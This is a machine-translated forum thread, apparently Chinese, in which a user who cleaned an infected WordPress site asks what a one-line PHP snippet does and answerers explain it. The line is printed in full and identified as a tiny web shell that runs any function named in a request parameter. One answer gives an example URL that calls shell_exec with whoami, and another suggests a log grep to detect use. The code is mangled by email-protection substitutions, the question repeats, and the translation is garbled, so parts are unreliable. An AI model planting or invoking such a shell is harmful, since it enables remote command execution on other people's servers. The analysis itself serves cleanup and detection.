我從wordpress網站提取了這個,碰巧被感染並被我清理乾淨。這行PHP代碼是做什麼的?
<?php ([email protected]$_GET[page])[email protected]$_($_POST[404]);?>
我懷疑這行是SEO垃圾郵件,但我無法得到這一行的意思。
我從wordpress網站提取了這個,碰巧被感染並被我清理乾淨。這行PHP代碼是做什麼的?
<?php ([email protected]$_GET[page])[email protected]$_($_POST[404]);?>
我懷疑這行是SEO垃圾郵件,但我無法得到這一行的意思。
這是一個PHP shell。如果將它重寫爲URL file.php?2 = shell_exec & 1 = whoami在shell上執行命令whoami。在你的例子中,一個參數通過POST傳遞,一個通過GET傳遞。所以這很難打電話。
你也可以用它調用其他函數。第一個參數始終是函數名稱,第二個參數是被調用函數的參數。
顯然這是解釋http://h.ackack.net/tiny-php-shell.html(https://twitter.com/dragosr/status/116759108526415872),但該網站不爲我加載。
/編輯:如果您有權訪問服務器日誌文件,則可以搜索它們以查看黑客是否使用了此shell。一個簡單的egrep「(& | \?)2 =。+」logs *「應該可以工作。你只能看到一半執行的命令(只有GET,而不是POST),但也許這有助於看看攻擊者是否真的使用了他的腳本。
PS:這是在這裏
面前回答我們把這個一點點:
($_[email protected]$_GET[page])
.
@$_($_POST[404]);
首先,這是被串聯起來的時期兩個表達式:()
.
()
。
在第一個表達式,$_
=
,$_
是可變的,並且被分配=
到可變$_GET['page']
,或者它引用的匿名函數的輸出。如果確實引用了匿名函數,則@
將抑制它的任何錯誤。
第二個表達,@
$_(
$_POST[404]
);
與匿名函數$_
,你現在可以告訴是因爲它後面(
被稱爲是一個匿名函數的錯誤抑制@
出發。傳遞給該函數的參數是$_POST['404']
,然後第二個括號關閉該調用。
所以我認爲你的懷疑是正確的;這看起來像打算看起來無害或部分網站的混淆代碼。我懷疑和$_POST[404]
的值可能是javascript字符串,它們在頁面上的回顯會安裝惡意軟件或廣告軟件。
您可以通過查看這兩個變量的值並查看它們是什麼來調試。
盡我所知,不知道GET和POST中的值,它看起來像變量$_
被分配給字符串,這將是任何人在他們加載頁面時提交的URL。因此,他們能夠將函數的任何函數的字符串名稱傳遞給該網站,並將其用於PHP的範圍。
然後,他們在$_POST['404']
值上運行該任意函數。該值也是瀏覽器或用戶POST
到頁面。
串聯和外括號().()
可能只是更多的混淆,或者這個代碼的重點可能是簡單地在頁面上回顯此代碼的結果(例如注入javascript)。但是,他們也可以在他們傳遞的任何論點上調用他們想要的任何函數。我看不出,但有人更熟悉PHP可能可以。
「here」where?我想你忘了鏈接 –
非常感謝。非常好的解釋。將在約3分鐘內投票。 –